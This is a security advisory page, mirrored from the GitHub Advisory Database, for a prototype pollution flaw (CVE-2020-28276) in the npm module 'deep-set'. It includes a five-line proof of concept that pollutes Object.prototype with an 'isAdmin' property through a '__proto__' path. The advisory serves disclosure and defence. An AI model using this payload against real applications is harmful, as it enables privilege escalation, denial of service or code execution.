Ecosyste.ms: Advisories

Security Advisories: GSA_kwCzR0hTQS13Z3htLXJnNTMtaDJjNs4AAnAt

Prototype pollution vulnerability in 'deep-set'

The NPM module 'deep-set' can be abused by Prototype Pollution vulnerability since the function deepSet() does not check for the type of object before assigning value to the property. Due to this flaw an attacker could create a non-existent property or able to manipulate the property which leads to Denial of Service or potentially Remote code execution.

PoC

var deepSet = require('deep-set')
var obj = {'1':'2'}
console.log(obj.isAdmin);
deepSet(obj, '__proto__.isAdmin', 'true')
console.log(obj.isAdmin);

Permalink: https://github.com/advisories/GHSA-wgxm-rg53-h2c6
JSON: https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS13Z3htLXJnNTMtaDJjNs4AAnAt
Source: GitHub Advisory Database
Origin: Unspecified
Severity: Critical
Classification: General
Published: almost 2 years ago
Updated: 26 days ago

CVSS Score: 9.8
CVSS vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

Identifiers: GHSA-wgxm-rg53-h2c6, CVE-2020-28276
References:

• https://nvd.nist.gov/vuln/detail/CVE-2020-28276
• https://github.com/klaemo/deep-set/blob/103d650b3de1f5c6cf051236347ba59e7274cd07/index.js#L39
• https://web.archive.org/web/20210320110509/https://www.whitesourcesoftware.com/vulnerability-database/CVE-2020-28276
• https://github.com/advisories/GHSA-wgxm-rg53-h2c6

Repository: https://github.com/klaemo/deep-set
Blast Radius: 20.9

Affected Packages